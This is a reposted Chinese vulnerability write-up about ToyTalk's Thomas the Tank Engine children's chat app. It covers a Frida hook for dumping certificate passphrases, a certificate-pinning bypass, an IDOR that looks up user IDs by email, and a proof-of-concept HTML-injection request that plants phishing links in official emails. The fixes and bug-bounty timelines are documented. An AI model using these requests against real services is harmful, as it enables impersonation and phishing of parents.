溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

發(fā)現(xiàn)“小火車托馬斯”智能玩具APP聊天應(yīng)用漏洞的示例分析

發(fā)布時(shí)間:2022-01-18 15:27:22 來(lái)源:億速云 閱讀:144 作者:柒染 欄目:安全技術(shù)

本篇文章給大家分享的是有關(guān)發(fā)現(xiàn)“小火車托馬斯”智能玩具APP聊天應(yīng)用漏洞的示例分析,小編覺得挺實(shí)用的,因此分享給大家學(xué)習(xí),希望大家閱讀完這篇文章后可以有所收獲,話不多說,跟著小編一起來(lái)看看吧。

漏洞發(fā)現(xiàn)背景

ToyTalk是一家由皮克斯前高管創(chuàng)建的人工智能玩具初創(chuàng)公司,它們?cè)O(shè)計(jì)的智能玩具具備視覺跟蹤、語(yǔ)音識(shí)別和網(wǎng)絡(luò)擴(kuò)展功能,能讓兒童通過APP與玩具之間進(jìn)行語(yǔ)音交流和行為反應(yīng)識(shí)別,激發(fā)兒童與虛擬人物的談話能力,更好地實(shí)現(xiàn)與玩具之間的互動(dòng)樂趣。

ToyTalk于2015年7月推出了一款名為“托馬斯和他的朋友們與你聊天 ”(Thomas & Friends Talk To You)”的付費(fèi)APP,能讓兒童與知名卡通人物“小火車托馬斯”(Thomas the Tank Engine)互動(dòng)聊天,它允許兒童在 8 次多多島故事之旅中,與托馬斯及其朋友培西、高登、亨利、詹姆斯、愛德華、托比、“胖總管”托芬海先生(Sir Topham Hatt)進(jìn)行雙向?qū)υ挕?/p>

為了測(cè)試ToyTalk玩具產(chǎn)品的安全性,以及接入家庭網(wǎng)絡(luò)環(huán)境帶來(lái)的安全風(fēng)險(xiǎn),我決定對(duì)“托馬斯和他的朋友們與你聊天 ”APP進(jìn)行一些分析研究。由于ToyTalk產(chǎn)品都使用相同的代碼庫(kù),而且這款托馬斯對(duì)話APP很容易安裝和刪除,方便測(cè)試,也能有代表性。另外,ToyTalk的其它產(chǎn)品,如Hello Barbie(哈啰芭比)和Barbie Hello Dreamhouse (芭比夢(mèng)幻之家)也可能存在相同漏洞。

漏洞情況

#漏洞1: - 缺乏身份驗(yàn)證機(jī)制,攻擊者能很容易地假冒成一個(gè)兒童與托馬斯玩具進(jìn)行對(duì)話

#漏洞2:- 可假冒support@toytalk.com或其它注冊(cè)用戶,發(fā)送注入HTML惡意釣魚鏈接的郵件

APP工作原理分析

“托馬斯和他的朋友們與你聊天 ”的APP啟動(dòng)后,要求輸入提供一個(gè)家長(zhǎng)的電子郵件地址,以確認(rèn)使用APP提供的語(yǔ)音識(shí)別功能,當(dāng)提交了電子郵件地址之后,APP進(jìn)入運(yùn)行界面。

發(fā)現(xiàn)“小火車托馬斯”智能玩具APP聊天應(yīng)用漏洞的示例分析發(fā)現(xiàn)“小火車托馬斯”智能玩具APP聊天應(yīng)用漏洞的示例分析

剛開始,你可能會(huì)覺得該APP暴露的攻擊面非常有限,因?yàn)樗枰峁┡c玩具對(duì)話的確認(rèn)權(quán)限。

接下來(lái),我要對(duì)該APP進(jìn)行網(wǎng)絡(luò)瀏覽攔截分析。而且在分析中發(fā)現(xiàn),該APP與其它應(yīng)用不同,它提供了一個(gè)與客戶端進(jìn)行認(rèn)證的證書,也就是說,APP和它的WEB服務(wù)器之間也會(huì)存在一個(gè)相互認(rèn)證的過程。基于此,我們要先來(lái)看看客戶端證書和相關(guān)密碼驗(yàn)證的工作機(jī)制。

通過逆向后我們發(fā)現(xiàn),以下兩個(gè)函數(shù)比較有意思:

public void setSslClientCertificate(String filename, String passphrase) {
        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("PKCS12");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mClientCertificate = KeyManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mClientCertificate.init(store, new char[0]);
        } catch (Exception e) {
            Log.OMG(e);
         } finally {
            Utils.close(file);
        }
    }
public void setSslCaCertificate(String filename, String passphrase) {

        InputStream file = null;
        try {
            KeyStore store = KeyStore.getInstance("BKS");
            file = this.mContext.getResources().getAssets().open(filename);
            store.load(file, passphrase.toCharArray());
            this.mCaCertificate = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
            this.mCaCertificate.init(store);
        } catch (Exception e) {
            Log.OMG(e);
        } finally {
            Utils.close(file);
        }
    }

之后,我沒有繼續(xù)逆向?qū)ふ颐艽a傳入函數(shù),而是使用以下具備frida hook功能,可以轉(zhuǎn)儲(chǔ)密碼和文件名的Python腳本來(lái)深入:

import frida
import sys
def on_message(message, data):
    print message
device = frida.get_device_manager().enumerate_devices()[-1]
pid = device.spawn(["com.toytalk.thomas"])
print (pid)
session = device.attach(pid)
ss = '''
 Java.perform(function () {
    var MyClass = Java.use("com.toytalk.library.HttpRequester");
    MyClass.setSslCaCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
    MyClass.setSslClientCertificate.overload("java.lang.String","java.lang.String").implementation = function(a,b){
        send(a);
        send(b);
        return this.setSslCaCertificate.overload("java.lang.String","java.lang.String").call(this,a,b);
    }
})
'''    
script = session.create_script(ss)
script.load()
script.on('message', on_message)
device.resume(pid)
#session.detach()
sys.stdin.read()

高興的是,可以從apk中提取出正確的認(rèn)證證書文件,并能用于執(zhí)行中間人攻擊(MITM),而有趣的是,文件toytalk.12沒有使用任何密碼保護(hù)。

發(fā)現(xiàn)“小火車托馬斯”智能玩具APP聊天應(yīng)用漏洞的示例分析

現(xiàn)在,我們就可以使用客戶端證書了,但仍需繞過證書鎖定(Certificate Pinning)。雖然有幾種方式可以實(shí)現(xiàn),但最簡(jiǎn)單的方法是從apk中刪除證書,重建程序然后重新安裝。把客戶端證書導(dǎo)入Burpsuite,實(shí)現(xiàn)了證書鎖定功能禁用,之后,我們就可以進(jìn)入大多數(shù)APP程序測(cè)試的第一步-流量攔截。

漏洞分析

漏洞1 - 缺乏身份驗(yàn)證機(jī)制

該APP程序還提供了一個(gè)不太明顯的功能,就是其捕獲的對(duì)話音頻文件會(huì)存儲(chǔ)在線,可備家長(zhǎng)后續(xù)進(jìn)行重放收聽,該功能與用于之前授權(quán)同意的電子郵箱地址綁定,雖然該郵箱地址只在父母執(zhí)行密碼重置時(shí)才用得到。

發(fā)現(xiàn)“小火車托馬斯”智能玩具APP聊天應(yīng)用漏洞的示例分析

當(dāng)"speak" 按鈕被按下時(shí),APP會(huì)把捕獲的音頻文件以以下POST請(qǐng)求方式發(fā)送到遠(yuǎn)端Web服務(wù)器中:

https://asr.2.toytalk.com/v3/asr/0673bcb8-367a-44bc-aed5-8c21fb7086af/thomas/1502714441?account=<removed>&play_session=<removed>&client=com.toytalk.thomas&locale=en_GB&device_id=<removed>&device_model=<removed>&os=Android&os_version=5.1&intelligence=0%2F1%2Fc%2F01cd49694727bbcf1c0cefd7a4a24f2e_intelligence.tiz&ruleset_id=rs_b92dd8d9-cba9-4a76-a56b-51fc3d15f8f5&rate=16000 

雖然其中的發(fā)送內(nèi)容涉及很多變量值,但通過把當(dāng)前用戶ID更改為其它用戶ID后,就能把音頻文件發(fā)送到指定的用戶賬戶名下,這將會(huì)允許一些惡意攻擊者向兒童父母發(fā)送一些淫穢音頻信息。

在這種情況下,雖然用戶ID是一個(gè)隨機(jī)的全局惟一標(biāo)識(shí)符(GUID),但我們可以根據(jù)郵箱地址等已知線索來(lái)發(fā)現(xiàn)一些有效的用戶ID信息。

另外,運(yùn)行ToyTalk代碼庫(kù)的"strings"命令后,也有一點(diǎn)蛛絲馬跡可循:

發(fā)現(xiàn)“小火車托馬斯”智能玩具APP聊天應(yīng)用漏洞的示例分析

所以,根據(jù)上圖信息,一旦客戶端證書被安裝到瀏覽器中后,通過訪問地址:

https://api.toytalk.com/v3/account/<email address>

就能下載到一個(gè)包含用戶ID的文件。有用戶ID信息在手,就能更改POST請(qǐng)求中的ID信息,將對(duì)話音頻發(fā)送到任何注冊(cè)了該APP的郵箱地址中去。該漏洞可以通過要求提供正確的設(shè)備ID以及關(guān)聯(lián)用戶ID來(lái)修復(fù)解決。我們還沒測(cè)試設(shè)備ID是否能以其它方法獲取,但要向某個(gè)用戶賬號(hào)添加一個(gè)設(shè)備ID,貌似需要訪問到關(guān)聯(lián)的郵箱地址才行。

漏洞報(bào)送進(jìn)程

2017.8.14 -  向ToyTalk報(bào)告漏洞

2017.11.16 - 被分類為一般漏洞并被初次修復(fù),變?yōu)閏losed狀態(tài)

2017.11.29 - ToyTalk再次測(cè)試發(fā)現(xiàn)漏洞仍然存在,并重置為reopen狀態(tài)

2017.12.8  - 完全修復(fù)漏洞

2017.12.18 - 漏洞賞金發(fā)放并關(guān)閉漏洞報(bào)告

漏洞2 - 可向ToyTalk郵件中注入惡意HTML框架

在以上漏洞1提交過后沒幾天,我的朋友建議我可以研究一下ToyTalk的郵箱注入機(jī)制。在使用諸如“Thomas And You”等APP應(yīng)用注冊(cè)設(shè)備時(shí),它會(huì)將一封電子郵件發(fā)送到用戶提供的郵箱地址中, 由于該電子郵件中包含了用戶信息(設(shè)備名稱),如果攻擊者利用漏洞1方法獲取到受害者的用戶ID之后,那么,接下來(lái)可以修改電子郵件HTML中包含的設(shè)備名稱,以該受害者用戶ID為可信發(fā)件人,向其它受害者發(fā)送惡意釣魚郵件,或任意更改過的郵件內(nèi)容。

為了向受害者發(fā)送釣魚郵件,攻擊者先要用郵箱在該APP上進(jìn)行注冊(cè),利用該注冊(cè)郵箱地址,再用漏洞1方法獲取到受害者用戶ID,用以后續(xù)進(jìn)行釣魚郵件發(fā)送。

也即,首先,攻擊者用受害者注冊(cè)過的郵箱地址,執(zhí)行以下請(qǐng)求,以獲取到相應(yīng)的受害者用戶ID:

GET /v3/account/<email address> HTTP/1.1
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close

然后,再以該用戶ID為可信發(fā)件人,用以下POST方式,向其它受害者發(fā)送包含釣魚鏈接的惡意郵件內(nèi)容:

POST /v3/account/<accountid>/email/consent?device_id=asdf&device_name=TEST%20DEVICE"</br>%20<a%20href="http://google.com">click%20here</a>&application=Thomas+And+You&always HTTP/1.1
Content-Type: text/plain
Content-Length: 0
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.1; ONEPLUS A3003 Build/NMF26F)
Host: api.2.toytalk.com
Connection: close

以上只是一個(gè)簡(jiǎn)單的PoC示例,它利用<a>標(biāo)簽將HTML鏈接注入到郵件內(nèi)容框架中,但如果花時(shí)間調(diào)整,也可以精心制作出一個(gè)更具迷惑性的釣魚郵件來(lái),例如,某位家長(zhǎng)可以假冒support@toytalk.com郵件來(lái)欺騙其它家長(zhǎng)的用戶名密碼信息。下圖就是我們假冒toytalk官方發(fā)送的包含釣魚鏈接的郵件內(nèi)容:

發(fā)現(xiàn)“小火車托馬斯”智能玩具APP聊天應(yīng)用漏洞的示例分析

漏洞報(bào)送進(jìn)程:

2017.12.4 - 提交漏洞

2017.12.12 - 官方致謝

2017.12.18 - 官方修復(fù)漏洞

2017.12.18 - 發(fā)布賞金并關(guān)閉漏洞報(bào)告

整體來(lái)說,兩個(gè)漏洞的利用方式都存在一定的受限條件,但也側(cè)面說明了大量APP在開發(fā)過程中忽視了全面的安全考慮。

以上就是發(fā)現(xiàn)“小火車托馬斯”智能玩具APP聊天應(yīng)用漏洞的示例分析,小編相信有部分知識(shí)點(diǎn)可能是我們?nèi)粘9ぷ鲿?huì)見到或用到的。希望你能通過這篇文章學(xué)到更多知識(shí)。更多詳情敬請(qǐng)關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

app
AI